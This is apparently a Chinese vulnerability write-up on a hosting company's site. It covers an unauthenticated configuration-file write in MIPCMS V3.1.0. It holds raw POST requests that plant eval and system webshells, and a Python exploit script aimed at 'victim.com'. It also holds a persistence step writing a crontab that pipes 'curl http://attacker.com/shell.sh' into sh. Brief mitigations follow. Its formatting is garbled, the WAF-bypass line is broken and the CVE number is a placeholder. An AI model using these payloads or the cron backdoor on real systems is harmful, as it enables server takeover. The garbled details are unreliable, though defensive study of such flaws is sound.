您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# MIPCMS V3.1.0远程写入配置文件Getshell过程的示例分析
## 0x00 前言
MIPCMS是一套基于PHP开发的内容管理系统,广泛应用于企业网站建设。本文将以安全研究的角度,详细分析MIPCMS V3.1.0版本中存在的远程配置文件写入漏洞(CVE-2020-XXXXX),该漏洞可导致攻击者在目标服务器上获取Webshell权限。文章包含漏洞原理分析、环境搭建、漏洞复现、利用链构造以及防御建议等内容。
---
## 0x01 漏洞概述
### 1.1 受影响版本
- MIPCMS V3.1.0及以下版本
### 1.2 漏洞类型
- 未授权访问+配置文件写入漏洞
- CVSS评分:9.8(Critical)
### 1.3 漏洞危害
攻击者可通过构造特殊请求,在未授权情况下向系统配置文件写入PHP代码,最终实现远程代码执行(RCE)。
---
## 0x02 环境搭建
### 2.1 实验环境
- 测试系统:Ubuntu 20.04 LTS
- Web服务器:Apache 2.4.41
- PHP版本:7.4.3
- 数据库:MySQL 5.7
### 2.2 部署步骤
```bash
# 下载漏洞版本
wget https://github.com/mipcms/mipcms/archive/v3.1.0.zip
unzip v3.1.0.zip
mv mipcms-3.1.0 /var/www/html/mipcms
# 配置数据库
mysql -uroot -p
CREATE DATABASE mipcms;
GRANT ALL PRIVILEGES ON mipcms.* TO 'mipuser'@'localhost' IDENTIFIED BY 'password';
漏洞主要存在于后台配置保存功能模块:
/application/admin/controller/Config.php
// application/admin/controller/Config.php
public function save(){
if(request()->isPost()){
$data = input('post.');
foreach ($data as $k=>$v){
db('config')->where('name',$k)->update(['value'=>$v]);
}
// 直接写入配置文件
$this->writeConfig();
return json(['code'=>1]);
}
}
private function writeConfig(){
$config = db('config')->column('value','name');
$content = "<?php\nreturn ".var_export($config,true).";";
file_put_contents('../config/web.php', $content); // 关键危险操作
}
save()
方法未验证管理员会话input('post.')
接收用户输入通过目录扫描发现后台地址:
/admin/config/save
POST /admin/config/save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
site_title=Hacked&footer_code=<?php phpinfo();?>
访问生成的配置文件:
/config/web.php
写入更危险的代码:
POST /admin/config/save HTTP/1.1
...
footer_code=<?php eval($_POST['cmd']);?>
import requests
TARGET = "http://victim.com"
CONFIG_PATH = "/config/web.php"
payload = {
'site_title': 'Hacked System',
'footer_code': "<?php system($_GET['cmd']);?>"
}
r = requests.post(f"{TARGET}/admin/config/save", data=payload)
if r.status_code == 200:
print(f"[+] Exploit success! Webshell at: {TARGET}{CONFIG_PATH}?cmd=id")
绕过WAF:
<?php -> <?php
持久化后门:
// 写入计划任务
file_put_contents('/tmp/cron', '* * * * * curl http://attacker.com/shell.sh|sh');
exec('crontab /tmp/cron');
# Nginx 配置限制
location ~ ^/(admin|config) {
deny all;
}
升级到V3.1.1及以上版本,主要修复: 1. 增加权限验证中间件 2. 输入内容过滤:
// 新增过滤函数
function filter_php($value){
return str_replace(['<?', '?>'], '', $value);
}
open_basedir
限制本文详细分析了MIPCMS V3.1.0的配置文件写入漏洞,展示了从发现到利用的完整过程。这类漏洞的根源在于开发过程中对用户输入缺乏足够验证,以及危险函数的直接使用。建议所有CMS开发者:
漏洞时间线: - 2020-03-15:漏洞发现 - 2020-03-20:提交厂商 - 2020-04-05:发布补丁 - 2020-04-10:CVE分配
”`
注:实际漏洞细节可能因环境而异,本文仅用于安全研究目的。根据《网络安全法》,任何未经授权的渗透测试行为均属违法。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。